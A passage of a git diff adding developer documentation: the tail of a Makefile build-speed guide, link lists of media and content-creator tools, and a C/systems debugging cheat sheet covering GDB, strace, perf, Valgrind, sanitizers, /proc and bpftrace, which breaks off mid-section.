+ +build/crypto.ro: $(CRYPTO_OBJS) + $(LD) -r $^ -o $@ +``` + +### Final link using partial objects + +```makefile +$(TARGET): build/net.ro build/io.ro build/crypto.ro build/main.o + $(LD) $(LDFLAGS) $^ $(LIBS) -o $@ +``` + +### Advantages + +- Subsystem objects can be compiled independently and cached +- Only the changed subsystem's `.ro` is rebuilt; others are reused +- The final link step only sees a handful of `.ro` files instead of hundreds of `.o` files, making it faster +- Can hide internal symbols with `--localize-hidden` on partial objects + +### Strip internal symbols after partial link + +```makefile +build/net.ro: $(NET_OBJS) + $(LD) -r $^ -o $@.tmp + objcopy --localize-hidden $@.tmp $@ + rm $@.tmp +``` + +This enforces subsystem boundaries: symbols marked `__attribute__((visibility("hidden")))` inside `net/` become local after the partial link and cannot be referenced by other modules. + +--- + +## Highest Impact Optimizations Ranked by Time Saved + +Ranked by observed wall-clock build time reduction on a typical C project (1-500k SLOC). Your numbers will vary based on hardware and project structure. + +| Rank | Optimization | Typical Speedup | Notes | +|------|-------------|----------------|-------| +| 1 | `-j$(nproc)` parallel make | 4-16x | Free; limited by the critical path and I/O | +| 2 | ccache (warm cache) | 5-100x | Near-instant for unchanged files across branches | +| 3 | mold linker | 10-20x (link step) | Link is often the serializing bottleneck | +| 4 | Precompiled headers | 2-5x | High value when headers are large and stable | +| 5 | Unity builds | 2-10x | Eliminates repeated header parsing; best for CI | +| 6 | distcc (cluster) | Linear with machines | Needs fast network and homogeneous compilers | +| 7 | Non-recursive make | 1.2-2x | Eliminates repeated `make` invocations and shell forks | +| 8 | Auto-dependency generation | Correct > fast | Avoids unnecessary full rebuilds on header changes | +| 9 | `-O0` in debug builds | 1.5-3x compile | Slower binary, but much faster compilation | +| 10 | Ninja over make | 1.1-1.5x | Parse overhead matters most on projects with thousands of targets | +| 11 | Incremental linking (`-r`) | 1.2-2x (link) | Effective when only one subsystem changes at a time | +| 12 | `-flto=thin` | Smaller binary, slower build | Worth it for release; use `lld` or `mold` to parallelize | + +### Combining for maximum effect + +```bash +# Development inner loop (full acceleration) +CC="ccache gcc" make -j$(nproc) -Otarget BUILD=debug + +# CI clean build (unity + parallel + mold) +make unity -j$(nproc) LDFLAGS="-fuse-ld=mold" + +# Release (LTO + mold + ccache) +CC="ccache gcc" make -j$(nproc) BUILD=release LDFLAGS="-fuse-ld=mold -flto" +``` + +The single highest-ROI change for most projects starting from a naive serial `make`: add `-j$(nproc)` and set `CC := ccache gcc`. Takes 30 seconds and cuts iteration time dramatically. diff --git a/doc/cinefile-tools-reference.md b/doc/cinefile-tools-reference.md new file mode 100644 index 0000000000000000000000000000000000000000..6a21d9194d72788b9761ac6e342270c5be981d33 --- /dev/null +++ b/doc/cinefile-tools-reference.md @@ -0,0 +1,36 @@ +# Cinephile Tools Reference + +## mpv Ecosystem +- **[Zabooby/mpv-config](https://github.com/Zabooby/mpv-config)** -- Cinema-grade mpv config with shaders +- **[Eisa01/mpv-scripts](https://github.com/Eisa01/mpv-scripts)** -- SimpleHistory, SimpleBookmark for mpv +- **[Samillion/mpv-ytdlautoformat](https://github.com/Samillion/mpv-ytdlautoformat)** -- Auto quality by domain +- **[stax76/mpv-scripts](https://github.com/stax76/mpv-scripts)** -- Collection of mpv scripts +- **[mpv wiki User Scripts](https://github.com/mpv-player/mpv/wiki/user-scripts)** -- Community scripts index + +## yt-dlp +- **[TheFrenchGhosty's Scripts](https://github.com/TheFrenchGhostys-Ultimate-YouTube-DL-Scripts-Collection)** -- Archival-quality presets +- **[clavelm/yt-dlp-omz-plugin](https://github.com/clavelm/yt-dlp-omz-plugin)** -- Oh-My-Zsh plugin + +## FFmpeg +- **[steven2358 cheat sheet](https://gist.github.com/steven2358/ba153c642fe2bb1e47485962df07c730)** -- FFmpeg quick reference +- **[fallwith x265 sweet spot](https://gist.github.com/fallwith/9053bad932115d2ea4c81031afd96dd3)** -- x265 CRF guide +- **[benjaminburkhardt/convert-hdr-to-sdr](https://github.com/benjaminburkhardt/convert-hdr-to-sdr)** -- HDR tonemapping +- **[EposVox/hdr-sdr-ffmpeg](https://github.com/EposVox/hdr-sdr-ffmpeg)** -- GPU HDR conversion + +## Media Servers +- **[NiNiyas/autoscan](https://github.com/NiNiyas/autoscan)** -- Auto library scanning +- **[ajkis/scripts](https://github.com/ajkis/scripts)** -- Plex automation scripts + +## Organization +- **[Diaoul/subliminal](https://github.com/Diaoul/subliminal)** -- Subtitle downloader +- **[dfaust/mkv-bash-tools](https://github.com/dfaust/mkv-bash-tools)** -- MKV manipulation +- **[BurntSushi/imdb-rename](https://github.com/BurntSushi/imdb-rename)** -- Rename by IMDB data +- **[fracpete/kodi-nfo-generator](https://github.com/fracpete/kodi-nfo-generator)** -- NFO generation + +## Disc Ripping +- **[ThisIsTenou/makemkv-autorip-script](https://github.com/ThisIsTenou/makemkv-autorip-script)** -- Auto rip on disc insert +- **[cpitchford/discripper](https://github.com/cpitchford/discripper)** -- MakeMKV + HandBrake pipeline + +## Movie Lookup +- **[miroslavvidovic/tmdb-bash](https://github.com/miroslavvidovic/tmdb-bash)** -- TMDB CLI +- **[alexanderepstein/Bash-Snippets](https://github.com/alexanderepstein/Bash-Snippets)** -- movies tool (OMDB) diff --git a/doc/creator/scripts/resources.md b/doc/creator/scripts/resources.md new file mode 100644 index 0000000000000000000000000000000000000000..448a9e5ac6e534164b67981bf7e6a358289c72d1 --- /dev/null +++ b/doc/creator/scripts/resources.md @@ -0,0 +1,28 @@ +# Content Creator Tools Reference + +## BreadOnPenguins (Linux Creator) +- **[BreadOnPenguins/scripts](https://github.com/BreadOnPenguins/scripts)** -- 16+ scripts: recording, editing, photo workflow, ImageMagick, audio switching, clipboard history, statusbar +- **[BreadOnPenguins/dots](https://github.com/BreadOnPenguins/dots)** -- Kdenlive shortcuts, dwm config + +## Recording & Streaming +- **[mochou-p/wf-scripts](https://github.com/mochou-p/wf-scripts)** -- Wayland recording/streaming (VAAPI + PipeWire mixing) +- **[OpenBSDGuy/ffmpeg_openbsd](https://github.com/OpenBSDGuy/ffmpeg_openbsd)** -- Software/VAAPI screencasts + YouTube streaming +- **[muesli/obs-cli](https://github.com/muesli/obs-cli)** -- CLI OBS remote control (458 stars) + +## FFmpeg Editing +- **[NapoleonWils0n/ffmpeg-scripts](https://github.com/NapoleonWils0n/ffmpeg-scripts)** -- 30+ scripts: clip, combine, fade, normalize, loudnorm, PiP, scene-cut (270 stars) +- **[securelyfitz/ffmpeg-scripts](https://github.com/securelyfitz/ffmpeg-scripts)** -- GIF conversion, seamless loops +- **[Darkseal/FFmpeg-scripts](https://github.com/Darkseal/FFmpeg-scripts)** -- YouTube/streaming presets + +## YouTube +- **[tokland/youtube-upload](https://github.com/tokland/youtube-upload)** -- CLI YouTube uploader (2192 stars) +- **[rebane2001/sensible-yt-dlp-archive-scripts](https://github.com/rebane2001/sensible-yt-dlp-archive-scripts)** -- Production archiving configs + +## Twitch +- **[ihabunek/twitch-dl](https://github.com/ihabunek/twitch-dl)** -- VOD/clip downloader (751 stars) +- **[BasioMeusPuga/twitchy](https://github.com/BasioMeusPuga/twitchy)** -- CLI stream browser +- **[tixlegeek/hackersBashTwitchBot](https://github.com/tixlegeek/hackersBashTwitchBot)** -- Pure bash Twitch chatbot + +## Community Tools +- **[fieu/discord.sh](https://github.com/fieu/discord.sh)** -- Bash Discord webhooks (559 stars) +- **[LukeSmithxyz/voidrice](https://github.com/LukeSmithxyz/voidrice)** -- dmenurecord, noisereduce, maimpick, slider, displayselect diff --git a/doc/debugging.md b/doc/debugging.md new file mode 100644 index 0000000000000000000000000000000000000000..e2bef1c5bd30033aca8f48cc708db4da42139c1c --- /dev/null +++ b/doc/debugging.md @@ -0,0 +1,1272 @@ +# C/Systems Debugging Reference + +--- + +## 1. GDB Advanced + +### TUI Mode + +```bash +gdb -tui ./binary # Start with TUI enabled +gdb ./binary # Start normally, then: +(gdb) tui enable # Enable TUI +(gdb) layout src # Source view +(gdb) layout asm # Assembly view +(gdb) layout regs # Register view +(gdb) layout split # Source + assembly split +(gdb) tui reg general # General purpose registers +(gdb) tui reg float # Float registers +(gdb) focus cmd # Focus on command window +(gdb) focus src # Focus on source window +Ctrl-L # Refresh TUI display +Ctrl-X A # Toggle TUI on/off +Ctrl-X 2 # Cycle through layouts +``` + +### Breakpoints + +```bash +(gdb) break main # Break at function +(gdb) break file.c:42 # Break at line +(gdb) break *0x401234 # Break at address +(gdb) break foo if x > 10 # Conditional breakpoint +(gdb) break foo if strcmp(s, "bad")==0 # String condition +(gdb) rbreak ^my_prefix_ # Regex breakpoint (all matching) +(gdb) tbreak main # Temporary breakpoint (once) +(gdb) hbreak foo # Hardware breakpoint +(gdb) info breakpoints # List all breakpoints +(gdb) disable 2 # Disable breakpoint 2 +(gdb) enable 2 # Re-enable +(gdb) delete 2 # Delete breakpoint 2 +(gdb) ignore 2 5 # Skip breakpoint 2 five times +(gdb) condition 2 x == 42 # Add/change condition on bp 2 +(gdb) commands 2 # Commands to run on bp 2 + > print x + > continue + > end +``` + +### Watchpoints + +```bash +(gdb) watch var # Break on var write +(gdb) rwatch var # Break on var read +(gdb) awatch var # Break on var read or write +(gdb) watch *0xdeadbeef # Watch memory address +(gdb) watch -l var # Watch location (alias) +(gdb) info watchpoints # List watchpoints +``` + +### Reverse Debugging + +```bash +(gdb) target record-full # Start recording execution +(gdb) run # Run (now recorded) +(gdb) reverse-continue # Run backwards to prev breakpoint +(gdb) reverse-step # Step backwards one source line +(gdb) reverse-next # Step backwards over calls +(gdb) reverse-finish # Run backwards out of function +(gdb) reverse-stepi # Step backwards one instruction +(gdb) set exec-direction reverse # Make continue/step go backward +(gdb) set exec-direction forward # Restore forward execution +``` + +### Attach to Running Process + +```bash +gdb -p 12345 # Attach by PID +gdb ./binary 12345 # Attach with binary for symbols +sudo gdb -p $(pgrep myproc) # Attach (root for other users) +(gdb) detach # Detach without killing +(gdb) quit # Detach and quit +``` + +### Thread Debugging + +```bash +(gdb) info threads # List all threads +(gdb) thread 3 # Switch to thread 3 +(gdb) thread apply all bt # Backtrace all threads +(gdb) thread apply all bt full # Full backtrace all threads +(gdb) thread apply 1 2 3 print x # Command on specific threads +(gdb) set scheduler-locking on # Only run current thread +(gdb) set scheduler-locking off # All threads run (default) +(gdb) set scheduler-locking step # Lock during step only +(gdb) break foo thread 2 # Break only in thread 2 +``` + +### Checkpoint / Restart + +```bash +(gdb) checkpoint # Save current execution state +(gdb) info checkpoints # List checkpoints +(gdb) restart 1 # Restore to checkpoint 1 +(gdb) delete checkpoint 1 # Remove checkpoint +``` + +### Python Scripting + +```bash +(gdb) python print(gdb.selected_frame().name()) +(gdb) python gdb.execute("bt") +(gdb) python gdb.parse_and_eval("x + y") +(gdb) source script.py # Load a Python GDB script +``` + +```python +# script.py - example GDB Python script +import gdb + +class PrintOnBreak(gdb.Breakpoint): + def stop(self): + val = gdb.parse_and_eval("my_var") + print(f"my_var = {val}") + return False # don't actually stop + +PrintOnBreak("main") +gdb.execute("run") +``` + +### Pretty Printers + +```bash +# STL pretty printers (usually installed with gdb) +(gdb) info pretty-printer # List active printers +(gdb) disable pretty-printer global libstdc++ # Disable one +(gdb) print myVector # Shows contents if printer active + +# Load custom pretty printer +(gdb) source /path/to/printers.py +``` + +```python +# Custom pretty printer example +import gdb.printing + +class MyStructPrinter: + def __init__(self, val): + self.val = val + def to_string(self): + return f"MyStruct(x={self.val['x']}, y={self.val['y']})" + +def build_printer(obj): + pp = gdb.printing.RegexpCollectionPrettyPrinter("my_lib") + pp.add_printer("MyStruct", "^MyStruct$", MyStructPrinter) + return pp + +gdb.printing.register_pretty_printer(gdb.current_objfile(), build_printer) +``` + +### Other Useful GDB Commands + +```bash +(gdb) set pagination off # No "Press Enter" prompts +(gdb) set print pretty on # Indent structs +(gdb) set print array on # Pretty-print arrays +(gdb) set print array-indexes on # Show array indices +(gdb) set print elements 0 # Print unlimited array elements +(gdb) x/20xb 0xdeadbeef # Examine 20 hex bytes at address +(gdb) x/s 0xdeadbeef # Examine as string +(gdb) x/10i $pc # Disassemble 10 instructions from PC +(gdb) disassemble /m foo # Disassemble with source interleaved +(gdb) info registers # All register values +(gdb) print $rax # Specific register +(gdb) call foo(1, 2) # Call function from gdb +(gdb) set var x = 42 # Change a variable +(gdb) generate-core-file # Dump core from live process +(gdb) save breakpoints bps.txt # Save breakpoints to file +(gdb) source bps.txt # Restore breakpoints +``` + +### ~/.gdbinit Recommended Settings + +``` +set history save on +set history size 10000 +set print pretty on +set print array on +set print array-indexes on +set print elements 0 +set pagination off +set disassembly-flavor intel +``` + +--- + +## 2. strace Patterns + +### Basic Usage + +```bash +strace ./binary # Trace all syscalls +strace -p 12345 # Attach to running process +strace -f ./binary # Follow forks (child processes too) +strace -ff -o out ./binary # Separate output file per process +strace -o trace.log ./binary # Write to file +``` + +### Filter by Category + +```bash +strace -e trace=file ./binary # File-related syscalls +strace -e trace=network ./binary # Network syscalls +strace -e trace=memory ./binary # mmap, brk, mprotect, etc. +strace -e trace=process ./binary # fork, exec, wait, etc. +strace -e trace=signal ./binary # Signal-related +strace -e trace=ipc ./binary # IPC (pipes, sockets, etc.) +strace -e trace=desc ./binary # File descriptor operations +strace -e openat,read,write ./binary # Specific syscalls only +strace -e trace=!futex ./binary # Exclude futex calls +``` + +### Timing and Statistics + +```bash +strace -c ./binary # Summary: count, time, errors per syscall +strace -C ./binary # Summary + live trace +strace -T ./binary # Show time spent in each syscall +strace -t ./binary # Prefix timestamps (HH:MM:SS) +strace -tt ./binary # Microsecond timestamps +strace -ttt ./binary # Unix epoch + microseconds +strace -r ./binary # Relative timestamps between syscalls +``` + +### File Descriptor Paths + +```bash +strace -yy ./binary # Decode fd paths for all FDs +strace -y ./binary # Decode fd path for file syscalls only +# Output shows: openat(AT_FDCWD, "/etc/passwd", ...) = 3</dev/null> +``` + +### Finding Common Errors + +```bash +strace ./binary 2>&1 | grep ENOENT # Missing files +strace ./binary 2>&1 | grep EACCES # Permission denied +strace ./binary 2>&1 | grep ECONNREFS # Connection refused +strace ./binary 2>&1 | grep -E "= -1" # All failed syscalls +strace -e openat -z ./binary # Only failed calls (-z shows errors) +strace -e openat -Z ./binary # Only successful calls +``` + +### Practical Recipes + +```bash +# What files does this program open? +strace -e trace=openat -o /dev/stderr ./binary 2>&1 | grep -v ENOENT + +# Why is this program slow? +strace -c -T ./binary + +# What network connections? +strace -e trace=network -yy ./binary 2>&1 | grep connect + +# Trace already-running process, follow children +strace -fp $(pgrep myproc) -e trace=file -yy +``` + +--- + +## 3. ltrace + +```bash +ltrace ./binary # Trace library calls +ltrace -p 12345 # Attach to process +ltrace -f ./binary # Follow forks +ltrace -e malloc ./binary # Only trace malloc calls +ltrace -e malloc+free ./binary # Trace malloc and free +ltrace -e @libssl.so ./binary # All calls into libssl +ltrace -l /lib/libc.so.6 ./binary # Calls into specific library +ltrace -c ./binary # Summary count per call +ltrace -C ./binary # Demangle C++ symbol names +ltrace -n 2 ./binary # Indent nested calls 2 spaces +ltrace -o trace.log ./binary # Write to file +ltrace -T ./binary # Show time in each call + +# Trace specific calls with arguments +ltrace -e malloc -e free -e realloc ./binary + +# C++ demangling +ltrace -C ./binary 2>&1 | grep operator +``` + +--- + +## 4. perf One-Liners + +### Record and Report + +```bash +perf record ./binary # Sample CPU at 1000 Hz +perf record -g ./binary # With call graph (frame pointers) +perf record --call-graph dwarf ./binary # DWARF-based call graph (no -fomit-frame-pointer needed) +perf record -F 99 ./binary # Sample at 99 Hz +perf record -p 12345 # Profile running process +perf record -a sleep 10 # System-wide for 10 seconds +perf report # Interactive report from perf.data +perf report --stdio # Non-interactive text output +perf report --no-children # Hide aggregated children costs +``` + +### perf top + +```bash +perf top # Live CPU usage by symbol +perf top -p 12345 # Live profile of process +perf top -g # With call graph +perf top --stdio # Non-interactive +``` + +### perf stat + +```bash +perf stat ./binary # Hardware counters summary +perf stat -r 5 ./binary # Repeat 5 times, show variance +perf stat -a sleep 1 # System-wide for 1 second +perf stat -e cache-misses,cache-references ./binary # Cache metrics +perf stat -e branch-misses,branch-instructions ./binary # Branch prediction +perf stat -e context-switches,cpu-migrations ./binary # Scheduler events +perf stat -e cycles,instructions,ipc ./binary # IPC +perf stat -e L1-dcache-loads,L1-dcache-load-misses ./binary # L1 detail +perf stat -e LLC-loads,LLC-load-misses ./binary # LLC detail +``` + +### perf annotate + +```bash +perf record -g ./binary && perf report # Find hot function, then: +perf annotate my_hot_function # Interleaved source+asm with hit counts +perf annotate --stdio # Non-interactive +``` + +### perf Script and Custom Events + +```bash +perf script # Dump all samples as text +perf script | head -100 # Preview +perf list # All available events +perf record -e 'syscalls:sys_enter_*' ./binary # Trace all syscall enters +perf record -e 'sched:sched_switch' -a sleep 5 # Scheduler switches +``` + +--- + +## 5. Flamegraph Generation + +### Standard CPU Flamegraph + +```bash +# Install Flamegraph (one-time) +git clone https://github.com/brendangregg/FlameGraph /opt/FlameGraph + +# Record +perf record -F 99 -g ./binary +# or: perf record -F 99 --call-graph dwarf ./binary + +# Generate +perf script | /opt/FlameGraph/stackcollapse-perf.pl | \ + /opt/FlameGraph/flamegraph.pl > cpu.svg + +# View +firefox cpu.svg +``` + +### Differential Flamegraph (Before vs After) + +```bash +# Capture baseline +perf record -F 99 -g ./binary_before +perf script | /opt/FlameGraph/stackcollapse-perf.pl > before.folded + +# Capture after +perf record -F 99 -g ./binary_after +perf script | /opt/FlameGraph/stackcollapse-perf.pl > after.folded + +# Generate differential (red = regression, blue = improvement) +/opt/FlameGraph/difffolded.pl before.folded after.folded | \ + /opt/FlameGraph/flamegraph.pl > diff.svg +``` + +### Off-CPU Flamegraph (Time Blocked, Not Running) + +```bash +# Off-CPU time (blocked in kernel, sleeping, I/O wait) +perf record -e sched:sched_switch -a -g sleep 10 +perf script | /opt/FlameGraph/stackcollapse-perf.pl | \ + /opt/FlameGraph/flamegraph.pl --title "Off-CPU" --colors io > offcpu.svg +``` + +### cargo-flamegraph (Rust) + +```bash +cargo install flamegraph +cargo flamegraph # Profile default binary +cargo flamegraph --bin mybinary # Profile specific binary +cargo flamegraph -- arg1 arg2 # Pass arguments +# Output: flamegraph.svg in current directory +``` + +### With bpftrace (no perf_event_paranoid issues) + +```bash +bpftrace -e 'profile:hz:99 /pid == 12345/ { @[ustack] = count(); }' \ + > stacks.txt +# Then: flamegraph.pl stacks.txt > out.svg (if using bpftrace folded output) +``` + +--- + +## 6. Valgrind + +### Memcheck (Memory Errors) + +```bash +valgrind ./binary # Default: memcheck +valgrind --leak-check=full ./binary # Full leak report +valgrind --leak-check=full --show-leak-kinds=all ./binary # All leak types +valgrind --track-origins=yes ./binary # Track origin of uninit values +valgrind --error-exitcode=1 ./binary # Non-zero exit on errors +valgrind --gen-suppressions=all ./binary # Generate suppression file +valgrind --suppressions=supp.txt ./binary # Use suppression file +valgrind --log-file=vg.log ./binary # Write report to file +valgrind --num-callers=30 ./binary # Deeper call stacks +valgrind -v ./binary # Verbose output +``` + +### Cachegrind (Cache Simulation) + +```bash +valgrind --tool=cachegrind ./binary # Simulate L1/LL cache +ls cachegrind.out.* # Find output file +cg_annotate cachegrind.out.12345 # Annotate by function +cg_annotate --auto=yes cachegrind.out.12345 # Auto-find source +cg_diff cachegrind.out.before cachegrind.out.after # Compare runs +``` + +### Callgrind (Call Profiling) + +```bash +valgrind --tool=callgrind ./binary # Profile with call graph +valgrind --tool=callgrind --callgrind-out-file=cg.out ./binary +callgrind_annotate cg.out # Text report +kcachegrind cg.out # GUI viewer (install kcachegrind) +callgrind_control -i on # Toggle instrumentation live +callgrind_control -d # Dump results now +valgrind --tool=callgrind --instr-atstart=no ./binary # Start disabled +``` + +### Massif (Heap Profiler) + +```bash +valgrind --tool=massif ./binary # Heap profiling +valgrind --tool=massif --pages-as-heap=yes ./binary # Include mmap +ms_print massif.out.12345 # Text report (ASCII chart) +massif-visualizer massif.out.12345 # GUI viewer +valgrind --tool=massif --time-unit=B ./binary # Time by bytes allocated +``` + +### Helgrind (Thread Errors) + +```bash +valgrind --tool=helgrind ./binary # Data races and lock errors +valgrind --tool=helgrind --history-level=full ./binary # Full history +``` + +### DRD (Data Race Detector) + +```bash +valgrind --tool=drd ./binary # Faster than helgrind for races +valgrind --tool=drd --check-stack-var=yes ./binary # Also check stack +valgrind --tool=drd --segment-merging=no ./binary # More precise (slower) +``` + +--- + +## 7. Sanitizers + +### AddressSanitizer (ASan) + +```bash +# Compilation +gcc -fsanitize=address -fno-omit-frame-pointer -g -O1 -o binary source.c +clang -fsanitize=address -fno-omit-frame-pointer -g -O1 -o binary source.c + +# Options at runtime +ASAN_OPTIONS=halt_on_error=0 ./binary # Don't stop on first error +ASAN_OPTIONS=abort_on_error=1 ./binary # Abort (get core dump) +ASAN_OPTIONS=log_path=/tmp/asan.log ./binary # Write to file +ASAN_OPTIONS=detect_leaks=1 ./binary # Also detect leaks (default on Linux) +ASAN_OPTIONS=detect_stack_use_after_return=1 ./binary # Slower, catches more +ASAN_OPTIONS=strict_string_checks=1 ./binary # Extra string checking +ASAN_OPTIONS=check_initialization_order=1 ./binary # Init order fiasco +ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=$(which llvm-symbolizer) ./binary + +# Suppress specific errors +ASAN_OPTIONS=suppressions=asan.supp ./binary +``` + +### UndefinedBehaviorSanitizer (UBSan) + +```bash +# Compilation +gcc -fsanitize=undefined -g -O1 -o binary source.c +gcc -fsanitize=undefined,integer -g -O1 -o binary source.c # Include int overflow + +# All UBSan checks +-fsanitize=undefined,integer,float-divide-by-zero,float-cast-overflow,\ + pointer-overflow,bounds,alignment,null,nonnull-attribute + +# Options +UBSAN_OPTIONS=halt_on_error=1 ./binary # Stop on first error (default is continue) +UBSAN_OPTIONS=print_stacktrace=1 ./binary # Print full stack trace +UBSAN_OPTIONS=log_path=/tmp/ubsan.log ./binary +``` + +### ThreadSanitizer (TSan) + +```bash +# Compilation +gcc -fsanitize=thread -g -O1 -o binary source.c + +# CRITICAL: Never combine TSan with ASan or MSan +# TSan can be combined with UBSan only + +# Options +TSAN_OPTIONS=halt_on_error=1 ./binary # Stop on first race +TSAN_OPTIONS=log_path=/tmp/tsan.log ./binary +TSAN_OPTIONS=history_size=7 ./binary # More history (default 2, max 7) +TSAN_OPTIONS=second_deadlock_stack=1 ./binary # Extra deadlock info +TSAN_OPTIONS=suppressions=tsan.supp ./binary +``` + +### MemorySanitizer (MSan) + +```bash +# Compilation (requires all deps also built with MSan, usually use with clang) +clang -fsanitize=memory -fno-omit-frame-pointer -g -O1 -o binary source.c +clang -fsanitize=memory -fsanitize-memory-track-origins=2 -g source.c # Track origins + +# Options +MSAN_OPTIONS=halt_on_error=1 ./binary +MSAN_OPTIONS=log_path=/tmp/msan.log ./binary + +# CRITICAL: Never combine MSan with ASan or TSan +``` + +### Sanitizer Combination Rules + +``` +ASan + UBSan = OK +TSan + UBSan = OK +ASan + TSan = NEVER (incompatible) +ASan + MSan = NEVER (incompatible) +MSan + TSan = NEVER (incompatible) +``` + +--- + +## 8. Core Dump Workflow + +### Enable Core Dumps + +```bash +ulimit -c unlimited # Allow unlimited core dump size (current shell) +ulimit -c unlimited && ./binary # One-liner + +# Make permanent for session +echo "ulimit -c unlimited" >> ~/.bashrc + +# systemd-coredump (usually default on modern systems) +cat /proc/sys/kernel/core_pattern # Shows current core pattern +# If using systemd-coredump: |/usr/lib/systemd/systemd-coredump %P %u %g %s %t %c %h + +# Set core file name pattern +sudo bash -c 'echo "core.%e.%p.%t" > /proc/sys/kernel/core_pattern' +# %e = executable name, %p = pid, %t = timestamp +``` + +### coredumpctl + +```bash +coredumpctl list # List all recorded core dumps +coredumpctl info # Info about most recent +coredumpctl info -1 # Most recent +coredumpctl info 12345 # By PID +coredumpctl info myprogram # By executable name +coredumpctl debug # Open most recent in GDB +coredumpctl debug 12345 # Open specific in GDB +coredumpctl dump -o core.file # Extract core to file +coredumpctl dump myprogram -o core.file +``` + +### GDB with Core File + +```bash +gdb ./binary core # Load binary + core +gdb ./binary core.12345 # Named core file +(gdb) bt # Backtrace at crash point +(gdb) thread apply all bt # All threads at crash +(gdb) info registers # Register state at crash +(gdb) frame 3 # Jump to specific frame +(gdb) up / down # Navigate frames +(gdb) print myvar # Inspect variables +(gdb) x/20x $sp # Inspect stack memory +``` + +### Crash Artifacts + +```bash +# systemd stores cores compressed +ls /var/lib/systemd/coredump/ + +# Journal has crash metadata +journalctl -t systemd-coredump +journalctl -b -1 | grep -i coredump # Crashes from last boot +``` + +--- + +## 9. /proc/$PID + +```bash +PID=12345 + +# Identity +cat /proc/$PID/cmdline | tr '\0' ' ' # Command line with args +cat /proc/$PID/exe # Symlink to executable (or readlink) +readlink /proc/$PID/exe +cat /proc/$PID/environ | tr '\0' '\n' # Environment variables +readlink /proc/$PID/cwd # Current working directory + +# Status +cat /proc/$PID/status # Summary: state, memory, threads, uid +cat /proc/$PID/stat # Raw stats (see proc(5) for field meaning) +cat /proc/$PID/statm # Memory pages +cat /proc/$PID/limits # Resource limits (ulimit values) +cat /proc/$PID/syscall # Current/last syscall being made + +# Memory +cat /proc/$PID/maps # Virtual memory map (addr, perms, file) +cat /proc/$PID/smaps # Detailed per-mapping stats +cat /proc/$PID/smaps_rollup # Summary of smaps totals +cat /proc/$PID/mem # Read process memory (use with maps) + +# File Descriptors +ls -la /proc/$PID/fd/ # All open file descriptors +readlink /proc/$PID/fd/3 # What fd 3 points to +ls -la /proc/$PID/fdinfo/ # Per-fd flags, position + +# Networking +cat /proc/$PID/net/tcp # TCP sockets (hex addresses) +cat /proc/$PID/net/udp # UDP sockets + +# I/O +cat /proc/$PID/io # Bytes read/written to storage + +# Threads +ls /proc/$PID/task/ # One dir per thread (TID) +cat /proc/$PID/task/*/status # Status of all threads + +# Namespace +ls -la /proc/$PID/ns/ # Namespace memberships + +# Stack (kernel) +cat /proc/$PID/stack # Kernel stack trace (requires root) +cat /proc/$PID/wchan # What kernel function waiting in +``` + +### Recover Deleted Files via /proc + +```bash +# If a process has a deleted file open: +ls -la /proc/$PID/fd/ | grep deleted # Find deleted fd +cp /proc/$PID/fd/3 /tmp/recovered # Copy it back + +# Recover deleted shared library +find /proc/*/fd -ls 2>/dev/null | grep "deleted" | grep "\.so" +``` + +--- + +## 10. lsof Advanced + +```bash +# By process +lsof -p 12345 # All files for PID +lsof -p 12345,67890 # Multiple PIDs +lsof -c myproc # By process name + +# By file/directory +lsof /var/log/syslog # Who has this file open +lsof +D /var/log/ # Who has any file in this dir open +lsof /dev/sda1 # Who is using this device + +# By network +lsof -i # All network connections +lsof -i :8080 # By port +lsof -i tcp:8080 # TCP on port 8080 +lsof -i udp:53 # UDP on port 53 +lsof -i @192.168.1.1 # To/from specific host +lsof -i 4 # IPv4 only +lsof -i 6 # IPv6 only +lsof -i tcp -s tcp:LISTEN # Listening TCP sockets only +lsof -i tcp -s tcp:ESTABLISHED # Established TCP only + +# Unix sockets +lsof -U # All unix sockets +lsof /tmp/myapp.sock # Who has this socket + +# Deleted files still held open (space leak) +lsof | grep deleted +lsof | grep "(deleted)" + +# Repeat mode +lsof -r 2 -i :8080 # Refresh every 2 seconds + +# Combine with grep +lsof -p 12345 | grep REG # Regular files only +lsof -p 12345 | grep CHR # Character devices +lsof -p 12345 | grep DIR # Directories +lsof -p 12345 | grep PIPE # Pipes + +# Which processes are preventing unmount +lsof +D /mnt/usb +``` + +--- + +## 11. ss and ip + +### ss (Socket Statistics) + +```bash +ss -tlnp # TCP listening with PID/process +ss -ulnp # UDP listening +ss -tlnp sport = :80 # Filter by source port +ss -tlnp dport = :443 # Filter by destination port +ss -t state established # Only established TCP +ss -t state time-wait # TIME_WAIT sockets +ss -t state close-wait # CLOSE_WAIT (potential leak) +ss -tnp dst 10.0.0.1 # Connections to host +ss -tnp src 192.168.1.5 # Connections from specific local addr +ss -s # Summary statistics +ss -o # Show timer info +ss -ti # Detailed TCP info (cwnd, rtt, etc.) +ss -tlnp 'sport > 1024' # Ports above 1024 +ss -xnp # Unix sockets with PID + +# Show TCP internal info (RTT, send buffer, etc.) +ss -ti dst 10.0.0.1 + +# Filter syntax +ss -tn 'dport = :https or dport = :http' +ss -tn 'dport >= :8000 and dport <= :9000' +``` + +### ip + +```bash +ip addr show # All interfaces and addresses +ip addr show eth0 # Specific interface +ip link show # Link layer info +ip route show # Routing table +ip route get 8.8.8.8 # Which route will be used for this dest +ip neigh show # ARP/neighbor table +ip -s link show eth0 # Interface statistics (packets, errors) + +# Monitor (live events) +ip monitor # All netlink events +ip monitor route # Route changes only +ip monitor addr # Address changes only +ip monitor link # Link state changes +``` + +--- + +## 12. bpftrace One-Liners + +```bash +# Count syscalls by process +bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' + +# Count syscalls by name system-wide +bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[ksym(args->id)] = count(); }' + +# Trace file opens with path +bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' + +# Profile CPU stacks (flamegraph input) +bpftrace -e 'profile:hz:99 { @[ustack] = count(); }' > stacks.txt + +# Trace disk I/O latency +bpftrace -e 'tracepoint:block:block_rq_issue { @start[args->dev, args->sector] = nsecs; } +tracepoint:block:block_rq_complete { @usecs = hist((nsecs - @start[args->dev, args->sector]) / 1000); delete(@start[args->dev, args->sector]); }' + +# TCP connection latency (connect time) +bpftrace -e 'kprobe:tcp_connect { @start[tid] = nsecs; } +kretprobe:tcp_connect { @ms = hist((nsecs - @start[tid]) / 1000000); delete(@start[tid]); }' + +# malloc size distribution +bpftrace -e 'uprobe:/lib/libc.so.6:malloc { @bytes = hist(arg0); }' + +# 